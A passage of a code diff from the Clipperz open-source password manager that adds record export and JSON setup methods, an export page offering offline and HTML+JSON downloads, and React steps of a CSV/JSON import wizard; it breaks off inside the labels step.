result[match[1]] = true;
|
|
||||||
match = tagRegEx.exec(aLabel);
|
|
||||||
}
|
|
||||||
|
|
||||||
return result;
|
|
||||||
},
|
|
||||||
|
|
||||||
'tags': function () {
|
'tags': function () {
|
||||||
return Clipperz.Async.callbacks("Record.label", [
|
return Clipperz.Async.callbacks("Record.label", [
|
||||||
MochiKit.Base.method(this, 'fullLabel'),
|
MochiKit.Base.method(this, 'fullLabel'),
|
||||||
@ -1169,6 +1137,76 @@ console.log("Record.hasPendingChanges RESULT", result);
|
|||||||
], {trace:false});
|
], {trace:false});
|
||||||
},
|
},
|
||||||
|
|
||||||
|
'setUpWithJSON': function(data) {
|
||||||
|
return Clipperz.Async.callbacks("Record.setUpWithJSON", [
|
||||||
|
// TODO: proper tag handling
|
||||||
|
MochiKit.Base.method(this,'setLabel',data.label),
|
||||||
|
MochiKit.Base.method(this,'setNotes',data.data.notes),
|
||||||
|
// TODO: check whether fields' order is kept or not
|
||||||
|
function(){ return MochiKit.Base.values(data.currentVersion.fields); },
|
||||||
|
MochiKit.Base.partial(MochiKit.Base.map,MochiKit.Base.method(this, 'addField')),
|
||||||
|
Clipperz.Async.collectAll
|
||||||
|
], {trace:false});
|
||||||
|
},
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
|
||||||
|
'exportDirectLogins': function() {
|
||||||
|
var result;
|
||||||
|
var directLoginsObject = this.directLogins();
|
||||||
|
|
||||||
|
if (MochiKit.Base.keys(directLoginsObject).length == 0) {
|
||||||
|
result = {};
|
||||||
|
} else {
|
||||||
|
var callbackObject = Object.keys(directLoginsObject).reduce(function(previous, current) {
|
||||||
|
previous[current] = MochiKit.Base.method( directLoginsObject[current], 'serializedData' );
|
||||||
|
return previous;
|
||||||
|
}, {});
|
||||||
|
|
||||||
|
result = Clipperz.Async.collectResults("Record.exportDirectLogins", callbackObject,{trace:false})();
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
},
|
||||||
|
|
||||||
|
'export': function() {
|
||||||
|
var deferredResult;
|
||||||
|
var label;
|
||||||
|
var data;
|
||||||
|
var currentVersion;
|
||||||
|
var directLogins;
|
||||||
|
var currentVersionObject;
|
||||||
|
|
||||||
|
data = {};
|
||||||
|
currentVersion = {};
|
||||||
|
directLogins = {};
|
||||||
|
deferredResult = new Clipperz.Async.Deferred('Record.export', {trace:false});
|
||||||
|
deferredResult.addMethod(this, 'getCurrentRecordVersion');
|
||||||
|
deferredResult.addCallback(function(recordVersionIn) { currentVersionObject = recordVersionIn; })
|
||||||
|
deferredResult.addMethod(this, 'fullLabel');
|
||||||
|
deferredResult.addMethod(this, function(labelIn) {label = labelIn});
|
||||||
|
deferredResult.addMethod(this, 'exportDirectLogins');
|
||||||
|
deferredResult.addCallback(function(directLoginsIn) { data['directLogins'] = directLoginsIn; });
|
||||||
|
deferredResult.addCallback(function() { return currentVersionObject.getKey(); }),
|
||||||
|
// deferredResult.addMethod(this,function(keyIn) { data['currentVersionKey'] = keyIn; });
|
||||||
|
deferredResult.addMethod(this, 'notes');
|
||||||
|
deferredResult.addMethod(this, function(notesIn) { data['notes'] = notesIn; });
|
||||||
|
// deferredResult.addMethod(this, function() { currentVersion['reference'] = this.currentVersionReference(); });
|
||||||
|
deferredResult.addCallback(function() { return currentVersionObject.exportFields(); }),
|
||||||
|
deferredResult.addCallback(function(fieldsIn) { currentVersion['fields'] = fieldsIn; });
|
||||||
|
deferredResult.addMethod(this, function() {
|
||||||
|
return {
|
||||||
|
'label': label,
|
||||||
|
'data': data,
|
||||||
|
'currentVersion': currentVersion
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
deferredResult.callback();
|
||||||
|
|
||||||
|
return deferredResult;
|
||||||
|
},
|
||||||
|
|
||||||
//=========================================================================
|
//=========================================================================
|
||||||
__syntaxFix__: "syntax fix"
|
__syntaxFix__: "syntax fix"
|
||||||
});
|
});
|
||||||
@ -1208,3 +1246,34 @@ Clipperz.PM.DataModel.Record.isRegularTag = function (aTag) {
|
|||||||
Clipperz.PM.DataModel.Record.regExpForSearch = function (aSearch) {
|
Clipperz.PM.DataModel.Record.regExpForSearch = function (aSearch) {
|
||||||
return new RegExp(aSearch.replace(/[^A-Za-z0-9]/g, '\\$&'), 'i');
|
return new RegExp(aSearch.replace(/[^A-Za-z0-9]/g, '\\$&'), 'i');
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Clipperz.PM.DataModel.Record.tagRegExp = new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g');
|
||||||
|
Clipperz.PM.DataModel.Record.trimSpacesRegExp = new RegExp('^\\s+|\\s+$', 'g');
|
||||||
|
|
||||||
|
Clipperz.PM.DataModel.Record.extractLabelFromFullLabel = function (aValue) {
|
||||||
|
var value;
|
||||||
|
|
||||||
|
value = aValue;
|
||||||
|
value = value.replace(Clipperz.PM.DataModel.Record.tagRegExp, '');
|
||||||
|
value = value.replace(Clipperz.PM.DataModel.Record.trimSpacesRegExp, '');
|
||||||
|
|
||||||
|
return value;
|
||||||
|
};
|
||||||
|
|
||||||
|
Clipperz.PM.DataModel.Record.extractTagsFromFullLabel = function (aLabel) {
|
||||||
|
var tagRegEx;
|
||||||
|
var result;
|
||||||
|
var match;
|
||||||
|
|
||||||
|
result = {};
|
||||||
|
tagRegEx = Clipperz.PM.DataModel.Record.tagRegExp;
|
||||||
|
match = tagRegEx.exec(aLabel);
|
||||||
|
while (match != null) {
|
||||||
|
result[match[1]] = true;
|
||||||
|
match = tagRegEx.exec(aLabel);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
};
|
||||||
|
@ -0,0 +1,110 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright 2008-2015 Clipperz Srl
|
||||||
|
|
||||||
|
This file is part of Clipperz, the online password manager.
|
||||||
|
For further information about its features and functionalities please
|
||||||
|
refer to http://www.clipperz.com.
|
||||||
|
|
||||||
|
* Clipperz is free software: you can redistribute it and/or modify it
|
||||||
|
under the terms of the GNU Affero General Public License as published
|
||||||
|
by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
* Clipperz is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
See the GNU Affero General Public License for more details.
|
||||||
|
|
||||||
|
* You should have received a copy of the GNU Affero General Public
|
||||||
|
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures');
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass = React.createClass({
|
||||||
|
|
||||||
|
propTypes: {
|
||||||
|
// featureSet: React.PropTypes.oneOf(['FULL', 'EXPIRED', 'TRIAL']).isRequired,
|
||||||
|
// 'level': React.PropTypes.oneOf(['hide', 'info', 'warning', 'error']).isRequired
|
||||||
|
},
|
||||||
|
/*
|
||||||
|
jsonExport: function () {
|
||||||
|
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export', 'json');
|
||||||
|
},
|
||||||
|
|
||||||
|
htmlExport: function () {
|
||||||
|
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export', 'html');
|
||||||
|
},
|
||||||
|
*/
|
||||||
|
|
||||||
|
isFeatureEnabled: function (aValue) {
|
||||||
|
return (this.props['features'].indexOf(aValue) > -1);
|
||||||
|
},
|
||||||
|
|
||||||
|
handleDownloadOfflineCopyLink: function (anEvent) {
|
||||||
|
if (this.isFeatureEnabled('OFFLINE_COPY')) {
|
||||||
|
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'downloadOfflineCopy');
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
handleExportLink: function () {
|
||||||
|
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'downloadExport');
|
||||||
|
},
|
||||||
|
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
|
||||||
|
render: function () {
|
||||||
|
return React.DOM.div({className:'extraFeature devicePIN'}, [
|
||||||
|
React.DOM.h1({}, "Export"),
|
||||||
|
React.DOM.div({'className': 'content'}, [
|
||||||
|
React.DOM.ul({}, [
|
||||||
|
React.DOM.li({}, [
|
||||||
|
React.DOM.h3({}, "Offline copy"),
|
||||||
|
React.DOM.div({'className':'description'}, [
|
||||||
|
React.DOM.p({}, "Download a read-only portable version of Clipperz. Very convenient when no Internet connection is available."),
|
||||||
|
React.DOM.p({}, "An offline copy is just a single HTML file that contains both the whole Clipperz web application and your encrypted data."),
|
||||||
|
React.DOM.p({}, "It is as secure as the hosted Clipperz service since they both share the same code and security architecture.")
|
||||||
|
]),
|
||||||
|
React.DOM.a({'className':'button', 'onClick':this.handleDownloadOfflineCopyLink}, "download offline copy")
|
||||||
|
]),
|
||||||
|
React.DOM.li({}, [
|
||||||
|
React.DOM.h3({}, "HTML + JSON"),
|
||||||
|
React.DOM.div({'className':'description'}, [
|
||||||
|
React.DOM.p({}, "Download a printer-friendly HTML file that lists the content of all your cards."),
|
||||||
|
React.DOM.p({}, "This same file also contains all your data in JSON format."),
|
||||||
|
React.DOM.p({}, "Beware: all data are unencrypted! Therefore make sure to properly store and manage this file.")
|
||||||
|
]),
|
||||||
|
React.DOM.a({'className':'button', 'onClick':this.handleExportLink}, "download HTML+JSON")
|
||||||
|
]),
|
||||||
|
/*
|
||||||
|
React.DOM.li({}, [
|
||||||
|
React.DOM.h3({}, "Printing"),
|
||||||
|
React.DOM.div({'className':'description'}, [
|
||||||
|
React.DOM.p({}, "Click on the button below to open a new window displaying all your cards in a printable format."),
|
||||||
|
React.DOM.p({}, "If you are going to print for backup purposes, please consider the safer option provided by the “offline copy”.")
|
||||||
|
]),
|
||||||
|
React.DOM.a({'className':'button', 'onClick':this.htmlExport}, "HTML")
|
||||||
|
]),
|
||||||
|
React.DOM.li({}, [
|
||||||
|
React.DOM.h3({}, "Exporting to JSON"),
|
||||||
|
React.DOM.div({'className':'description'}, [
|
||||||
|
React.DOM.p({}, "JSON enables a “lossless” export of your cards. All the information will be preserved, including direct login configurations."),
|
||||||
|
React.DOM.p({}, "This custom format it’s quite convenient if you need to move some of all of your cards to a different Clipperz account. Or if you want to restore a card that has been accidentally deleted."),
|
||||||
|
React.DOM.p({}, "Click on the button below to start the export process.")
|
||||||
|
]),
|
||||||
|
React.DOM.a({'className':'button', 'onClick':this.jsonExport}, "JSON"),
|
||||||
|
])
|
||||||
|
*/
|
||||||
|
])
|
||||||
|
])
|
||||||
|
]);
|
||||||
|
},
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
});
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataExport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass);
|
@ -0,0 +1,172 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright 2008-2015 Clipperz Srl
|
||||||
|
|
||||||
|
This file is part of Clipperz, the online password manager.
|
||||||
|
For further information about its features and functionalities please
|
||||||
|
refer to http://www.clipperz.com.
|
||||||
|
|
||||||
|
* Clipperz is free software: you can redistribute it and/or modify it
|
||||||
|
under the terms of the GNU Affero General Public License as published
|
||||||
|
by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
* Clipperz is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
See the GNU Affero General Public License for more details.
|
||||||
|
|
||||||
|
* You should have received a copy of the GNU Affero General Public
|
||||||
|
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures');
|
||||||
|
|
||||||
|
var _steps = ['Input', 'CsvColumns', 'CsvLabels', 'CsvTitles', 'CsvNotes', 'CsvHidden', 'Preview'];
|
||||||
|
var _stepNames = ['Input', 'Columns', 'Labels', 'Titles', 'Notes','Hidden','Preview'];
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass = React.createClass({
|
||||||
|
_steps: _steps,
|
||||||
|
_stepNames: _stepNames,
|
||||||
|
_relevantSteps: {
|
||||||
|
'csv': _steps,
|
||||||
|
'json': [_steps[0], _steps[6]]
|
||||||
|
},
|
||||||
|
|
||||||
|
getInitialState: function() {
|
||||||
|
return {
|
||||||
|
'currentStep': this._steps[0],
|
||||||
|
'importContext': new Clipperz.PM.UI.ImportContext(),
|
||||||
|
'nextStepCallback': null,
|
||||||
|
'error': null
|
||||||
|
};
|
||||||
|
},
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
|
||||||
|
getStepIndex: function(aStep) {
|
||||||
|
return this._steps.indexOf(aStep);
|
||||||
|
},
|
||||||
|
|
||||||
|
getStepAfter: function() {
|
||||||
|
return this._steps[this.getStepIndex(this.state.currentStep) + 1];
|
||||||
|
},
|
||||||
|
|
||||||
|
getStepBefore: function() {
|
||||||
|
return this._steps[this.getStepIndex(this.state.currentStep) - 1];
|
||||||
|
},
|
||||||
|
|
||||||
|
isStepRelevant: function(aStep, aFormat) {
|
||||||
|
if (!aFormat) {
|
||||||
|
return true
|
||||||
|
} else {
|
||||||
|
return (this._relevantSteps[aFormat].indexOf(aStep) >= 0);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
//--------------------------------------------------------------------------
|
||||||
|
|
||||||
|
goToStep: function(aStep) {
|
||||||
|
this.setState({
|
||||||
|
'currentStep': aStep,
|
||||||
|
'nextStepCallback': null,
|
||||||
|
'error': null
|
||||||
|
});
|
||||||
|
},
|
||||||
|
|
||||||
|
handleNextStepOnClick: function() {
|
||||||
|
if (this.state.nextStepCallback) {
|
||||||
|
var newImportContext = this.state.nextStepCallback();
|
||||||
|
|
||||||
|
if (newImportContext) {
|
||||||
|
MochiKit.Base.update(this.state.importContext, newImportContext);
|
||||||
|
|
||||||
|
if (this.state.currentStep == 'Input' && this.state.importContext.format == 'json') {
|
||||||
|
this.goToStep('Preview');
|
||||||
|
} else if (this.state.currentStep == 'Preview') {
|
||||||
|
this.state.importContext.resetContext();
|
||||||
|
this.goToStep('Input');
|
||||||
|
} else {
|
||||||
|
this.goToStep(this.getStepAfter());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if (this.state.currentStep == "Input") {
|
||||||
|
this.setState({'error': "unrecognized input format."});
|
||||||
|
} else {
|
||||||
|
this.setState({'error': "unknown error."});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
handleBackOnClick: function() {
|
||||||
|
if (this.state.importContext.format == 'json' && this.state.currentStep == 'Preview') {
|
||||||
|
delete this.state.importContext.format;
|
||||||
|
this.goToStep('Input');
|
||||||
|
} else if (this.state.currentStep != this._steps[0]) {
|
||||||
|
this.goToStep(this.getStepBefore());
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
setNextStepCallback: function(aFunction) {
|
||||||
|
this.setState({'nextStepCallback': aFunction});
|
||||||
|
},
|
||||||
|
|
||||||
|
getStepNavbarClass: function(aStep) {
|
||||||
|
var result;
|
||||||
|
|
||||||
|
if (aStep == this.state.currentStep) {
|
||||||
|
result = 'active';
|
||||||
|
} else if (this.state.importContext.format == 'json' && (aStep>=1&&aStep<=5) ) {
|
||||||
|
result = 'disabled';
|
||||||
|
} else {
|
||||||
|
result = 'inactive';
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
},
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
|
||||||
|
render: function () {
|
||||||
|
return React.DOM.div({className:'extraFeature dataImport'}, [
|
||||||
|
React.DOM.h1({}, "Import"),
|
||||||
|
React.DOM.div({'className': 'content'}, [
|
||||||
|
React.DOM.ul({'className': 'stepNavbar'},
|
||||||
|
MochiKit.Base.map(MochiKit.Base.bind(function(aStep){
|
||||||
|
var className;
|
||||||
|
|
||||||
|
if (this.isStepRelevant(aStep,this.state.importContext.format)) {
|
||||||
|
className = (aStep == this.state.currentStep) ? 'active' : 'inactive';
|
||||||
|
} else {
|
||||||
|
className = 'disabled';
|
||||||
|
}
|
||||||
|
|
||||||
|
return React.DOM.li({
|
||||||
|
'className': className
|
||||||
|
}, this._stepNames[this.getStepIndex(aStep)]);
|
||||||
|
}, this),this._steps)
|
||||||
|
),
|
||||||
|
new Clipperz.PM.UI.Components.ExtraFeatures.DataImport[this.state.currentStep]({
|
||||||
|
'importContext': this.state.importContext,
|
||||||
|
'setNextStepCallback': this.setNextStepCallback,
|
||||||
|
}),
|
||||||
|
React.DOM.a({
|
||||||
|
'className': 'button'+((this.state.currentStep == this._steps[0]) ? ' disabled' : ''),
|
||||||
|
'onClick': this.handleBackOnClick,
|
||||||
|
}, "Back"),
|
||||||
|
React.DOM.a({
|
||||||
|
'className': 'button'+((! this.state.nextStepCallback) ? ' disabled' : ''),
|
||||||
|
'onClick': this.handleNextStepOnClick,
|
||||||
|
}, "Next"),
|
||||||
|
(this.state.error) ? React.DOM.p({'className': 'error'}, "Error: " + this.state.error) : null
|
||||||
|
])
|
||||||
|
]);
|
||||||
|
},
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
});
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass);
|
@ -0,0 +1,97 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright 2008-2015 Clipperz Srl
|
||||||
|
|
||||||
|
This file is part of Clipperz, the online password manager.
|
||||||
|
For further information about its features and functionalities please
|
||||||
|
refer to http://www.clipperz.com.
|
||||||
|
|
||||||
|
* Clipperz is free software: you can redistribute it and/or modify it
|
||||||
|
under the terms of the GNU Affero General Public License as published
|
||||||
|
by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
* Clipperz is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
See the GNU Affero General Public License for more details.
|
||||||
|
|
||||||
|
* You should have received a copy of the GNU Affero General Public
|
||||||
|
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.createClass({
|
||||||
|
|
||||||
|
getInitialState: function() {
|
||||||
|
return {
|
||||||
|
'selectedColumns': this.props.importContext.selectedColumns
|
||||||
|
};
|
||||||
|
},
|
||||||
|
|
||||||
|
componentDidMount() {
|
||||||
|
this.props.setNextStepCallback(this.handleNextStep);
|
||||||
|
},
|
||||||
|
|
||||||
|
//-------------------------------------------------------------------------
|
||||||
|
|
||||||
|
handleNextStep: function() {
|
||||||
|
return this.state;
|
||||||
|
},
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
|
||||||
|
toggleColumn: function(columnN) {
|
||||||
|
var newSelectedColumns;
|
||||||
|
|
||||||
|
newSelectedColumns = this.state.selectedColumns;
|
||||||
|
newSelectedColumns[columnN] = ! newSelectedColumns[columnN];
|
||||||
|
|
||||||
|
this.setState({'selectedColumns': newSelectedColumns});
|
||||||
|
},
|
||||||
|
|
||||||
|
render: function() {
|
||||||
|
//console.log(this.props.importContext);
|
||||||
|
var columnSelectors;
|
||||||
|
var rowCount;
|
||||||
|
var i;
|
||||||
|
|
||||||
|
columnSelectors = [];
|
||||||
|
for (i=0; i<this.props.importContext.nColumns; i++) {
|
||||||
|
columnSelectors.push( React.DOM.td({'key': 'csv-colsel-' + i}, React.DOM.input({
|
||||||
|
'type': 'checkbox',
|
||||||
|
'checked': this.state.selectedColumns[i],
|
||||||
|
'onChange': MochiKit.Base.partial(this.toggleColumn,i)
|
||||||
|
}) ) );
|
||||||
|
}
|
||||||
|
|
||||||
|
rowCount = 0;
|
||||||
|
|
||||||
|
return React.DOM.div({},[
|
||||||
|
React.DOM.p({}, "Select the columns you want to import."),
|
||||||
|
React.DOM.table({'className': 'csvTable'},[
|
||||||
|
React.DOM.thead({}, React.DOM.tr({'className': 'columnSelectors', 'key': 'csv-colsel'}, columnSelectors)),
|
||||||
|
React.DOM.tbody({},
|
||||||
|
MochiKit.Base.map(function(row){
|
||||||
|
var cellCount;
|
||||||
|
var result
|
||||||
|
|
||||||
|
cellCount = 0;
|
||||||
|
result = React.DOM.tr({'key': 'csv-row-' + (rowCount++)}, MochiKit.Base.map(function(cell) {
|
||||||
|
return React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount++)},cell);
|
||||||
|
}, row));
|
||||||
|
rowCount++;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}, this.props.importContext.parsedCsv)
|
||||||
|
),
|
||||||
|
])
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumns = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass);
|
@ -0,0 +1,148 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright 2008-2015 Clipperz Srl
|
||||||
|
|
||||||
|
This file is part of Clipperz, the online password manager.
|
||||||
|
For further information about its features and functionalities please
|
||||||
|
refer to http://www.clipperz.com.
|
||||||
|
|
||||||
|
* Clipperz is free software: you can redistribute it and/or modify it
|
||||||
|
under the terms of the GNU Affero General Public License as published
|
||||||
|
by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
* Clipperz is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
See the GNU Affero General Public License for more details.
|
||||||
|
|
||||||
|
* You should have received a copy of the GNU Affero General Public
|
||||||
|
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvHiddenClass = React.createClass({
|
||||||
|
|
||||||
|
getInitialState: function() {
|
||||||
|
return {
|
||||||
|
'hiddenColumns': this.props.importContext.hiddenColumns
|
||||||
|
};
|
||||||
|
},
|
||||||
|
|
||||||
|
componentDidMount() {
|
||||||
|
this.props.setNextStepCallback(this.handleNextStep);
|
||||||
|
},
|
||||||
|
|
||||||
|
//-------------------------------------------------------------------------
|
||||||
|
|
||||||
|
handleNextStep: function() {
|
||||||
|
//var importData = this.props.importState.importData;
|
||||||
|
//var json = this.props.csvToJsonCallback();
|
||||||
|
//this.props.setImportStateCallback({
|
||||||
|
// 'importData': importData,
|
||||||
|
// 'jsonToImport': json,
|
||||||
|
// 'recordsToImport': MochiKit.Base.map(function(r){return r._importId},json),
|
||||||
|
// 'currentStep': 'preview',
|
||||||
|
// 'previousStep': 'csv-hidden'
|
||||||
|
//})
|
||||||
|
|
||||||
|
MochiKit.Base.update(this.props.importContext, this.state);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
},
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
|
||||||
|
onChangeCallback: function(columnN) {
|
||||||
|
var newHiddenColumns = this.state.hiddenColumns;
|
||||||
|
|
||||||
|
newHiddenColumns[columnN] = ! newHiddenColumns[columnN];
|
||||||
|
|
||||||
|
this.setState({'hiddenColumns': newHiddenColumns});
|
||||||
|
},
|
||||||
|
|
||||||
|
render: function() {
|
||||||
|
var cellCount, rowCount;
|
||||||
|
|
||||||
|
var importContext = this.props.importContext;
|
||||||
|
|
||||||
|
cellCount = 0;
|
||||||
|
rowCount = 0;
|
||||||
|
return React.DOM.div({},[
|
||||||
|
React.DOM.p({}, "Select the fields that should be hidden. (passwords, PINs, ...)"),
|
||||||
|
React.DOM.table({'className': 'csvTable'},[
|
||||||
|
React.DOM.thead({},
|
||||||
|
|
||||||
|
React.DOM.tr({},
|
||||||
|
MochiKit.Base.map(MochiKit.Base.bind(function(cell) {
|
||||||
|
var result;
|
||||||
|
|
||||||
|
var thId = 'csv-notes-header-' + cellCount;
|
||||||
|
var inputId = 'csv-notes-input-' + cellCount;
|
||||||
|
|
||||||
|
if (! importContext.selectedColumns[cellCount]) {
|
||||||
|
result = null;
|
||||||
|
} else {
|
||||||
|
result = React.DOM.th({'key': thId}, [
|
||||||
|
React.DOM.label({'htmlFor': inputId}, importContext.getCsvLabels()[cellCount]),
|
||||||
|
React.DOM.input({
|
||||||
|
'type': 'checkbox',
|
||||||
|
'id': inputId,
|
||||||
|
'key': inputId,
|
||||||
|
'ref': inputId,
|
||||||
|
'checked': this.state.hiddenColumns[cellCount],
|
||||||
|
'onChange': MochiKit.Base.partial(this.onChangeCallback,cellCount),
|
||||||
|
'disabled': (cellCount == importContext.titlesColumn || cellCount == importContext.notesColumn)
|
||||||
|
})
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
cellCount++;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}, this), importContext.parsedCsv[0])
|
||||||
|
)
|
||||||
|
|
||||||
|
),
|
||||||
|
React.DOM.tbody({},
|
||||||
|
|
||||||
|
MochiKit.Base.map(MochiKit.Base.bind(function(row){
|
||||||
|
var result;
|
||||||
|
|
||||||
|
cellCount = 0;
|
||||||
|
|
||||||
|
if (rowCount == 0 && importContext.firstRowAsLabels) {
|
||||||
|
result = null;
|
||||||
|
} else {
|
||||||
|
result = React.DOM.tr({'key': 'csv-row-' + (rowCount)}, MochiKit.Base.map( function(cell) {
|
||||||
|
var result;
|
||||||
|
|
||||||
|
if (importContext.selectedColumns[cellCount]) {
|
||||||
|
result = React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount)},cell);
|
||||||
|
} else{
|
||||||
|
result = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
cellCount++;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}, row));
|
||||||
|
}
|
||||||
|
|
||||||
|
rowCount++;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
},this), importContext.parsedCsv)
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
])
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvHidden = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvHiddenClass);
|
@ -0,0 +1,184 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright 2008-2015 Clipperz Srl
|
||||||
|
|
||||||
|
This file is part of Clipperz, the online password manager.
|
||||||
|
For further information about its features and functionalities please
|
||||||
|
refer to http://www.clipperz.com.
|
||||||
|
|
||||||
|
* Clipperz is free software: you can redistribute it and/or modify it
|
||||||
|
under the terms of the GNU Affero General Public License as published
|
||||||
|
by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
* Clipperz is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
See the GNU Affero General Public License for more details.
|
||||||
|
|
||||||
|
* You should have received a copy of the GNU Affero General Public
|
||||||
|
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvLabelsClass = React.createClass({
|
||||||
|
|
||||||
|
getInitialState: function() {
|
||||||
|
return {
|
||||||
|
'firstRowAsLabels': this.props.importContext.firstRowAsLabels,
|
||||||
|
'columnLabels': this.props.importContext.columnLabels,
|
||||||
|
'columnLabelsFirstrow': this.props.importContext.columnLabelsFirstrow
|
||||||
|
};
|
||||||
|
},
|
||||||
|
|
||||||
|
componentDidMount() {
|
||||||
|
this.props.setNextStepCallback((this.isNextDisabled()) ? null : this.handleNextStep);
|
||||||
|
},
|
||||||
|
|
||||||
|
//-------------------------------------------------------------------------
|
||||||
|
|
||||||
|
handleNextStep: function() {
|
||||||
|
return this.state;
|
||||||
|
},
|
||||||
|
|
||||||
|
updateNextStatus: function() {
|
||||||
|
this.props.setNextStepCallback((! this.isNextDisabled()) ? this.handleNextStep : null);
|
||||||
|
},
|
||||||
|
|
||||||
|
isNextDisabled: function() {
|
||||||
|
var result;
|
||||||
|
|
||||||
|
var importContext = this.props.importContext;
|
||||||
|
var columnLabels = this.getLabels();
|
||||||
|
|
||||||
|
result = false;
|
||||||
|
